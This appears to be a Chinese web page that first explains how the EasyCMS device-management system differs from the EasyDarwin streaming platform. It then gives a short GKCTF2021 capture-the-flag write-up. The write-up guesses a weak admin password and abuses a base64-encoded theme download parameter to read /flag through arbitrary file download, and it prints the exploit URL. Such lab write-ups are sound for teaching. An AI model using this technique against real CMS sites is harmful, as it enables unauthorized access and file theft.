easycms和easydarwin的区别

Posted 2023-05-11

easydarwin是流媒体服务，走视频流；easycms是设备接入与管理系统，走信令，与easydarwin配合工作。如果只是简单地直接推、拉流，easydarwin就行，但是要设备、用户管理，必须上easycms。
另外，easydarwin通常也指包含所有相关项目的整个平台。（就像通常说航母，即指航母本身，也可以指整个航母编队） 参考技术A EasyDarwin是由国内开源流媒体团队开发和维护的一款开源流媒体平台框架，从2012年12月创建并发展至今，从原有的单服务的流媒体服务器形 式，扩展成现在的云平台架构的开源项目，更好地帮助广大流媒体开发者和创业型企业快速构建流媒体服务平台，... 参考技术B cmseasy是php程序，模板代码是html+css编写，运行速度超快，而且安全。可以整站生成静态，支持可视化编辑的cms。

[GKCTF2021]easycms

[GKCTF2021]easycms

扫到admin.php

官方提示了，后台密码为5位数字的，

盲猜账号admin密码12345

登录到后台

点击：设计->导出主题->保存

然后复制下载的主题的链接

http://caf73c4b-734b-495b-b898-dc46661beb7f.node4.buuoj.cn/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA=

看到一串base64编码

进行解码：

猜测可能存在任意文件下载，将/flagbase64编码(L2ZsYWc=)加入到url中

http://caf73c4b-734b-495b-b898-dc46661beb7f.node4.buuoj.cn/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=

拿到flag.zip文件，修改后缀为txt打开拿到flag

题目中还有很多的目录穿透点，我就不一一复现了。